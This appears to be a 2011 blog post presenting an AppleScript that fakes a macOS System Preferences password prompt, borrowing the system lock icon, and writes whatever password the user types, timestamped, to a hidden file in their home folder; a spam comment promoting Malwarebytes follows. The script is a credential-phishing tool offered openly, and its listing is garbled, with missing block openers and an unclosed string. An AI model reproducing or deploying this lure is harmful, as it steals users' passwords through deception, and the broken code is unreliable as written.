Tuesday, October 25, 2011

Fun with AppleScript

-- Description: This script prompts the user to enter their password
--        in order to perform a privileged function.  The password
--        is subsequently saved to a hidden file in their home directory.
--        The "Cancel" button is the default on the dialog which
--        will hopefully encourage the user to enter accurate info.
-- Author: Joff Thyer, October 2011
set filename to ((path to home folder) as string) & ".mpass"
set myprompt to "Type your password to allow System Preferences to make changes"

set ans to "Cancel"
        set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
        set ans to button returned of d_returns
        set mypass to text returned of d_returns
        if ans = "OK" then exit repeat
    end try
end repeat

    set now to do shell script "date '+%Y%m%d_%H%M%S:'"
    set myfile to open for access filename with write permission
    set outstr to now & mypass & "
    write outstr to myfile starting at eof
    close access myfile
on error
        close access myfile
    end try
end try

1 comment:

shaving mirrors said...

Hi, Are you well?

It’s always good to learn tips like your posting. I just started posting comments for blog and facing problem of lots of rejections. I think your suggestion would be helpful for me. I will let you know if its work for me too. Thanks and keep posting such an informative blogs. You may know me by In the company section Malwarebytes has designed the items as per the needs of the section. As the needs of method and small companies (SMBs) are different from the huge companies, hence they have released items as per the need. They provide the Anti - Viruses foundation with 1-99 permits, preferably best for the needs of SMBs. This is suitable with all recognized Malwarebytes review. It has many innovative functions not available in the Home inclusion to match the needs of SMBs so as to give fantastic rights to details of other important company details from strike of any malware.

Thank You Very Much For a Amazing & Amazing Material.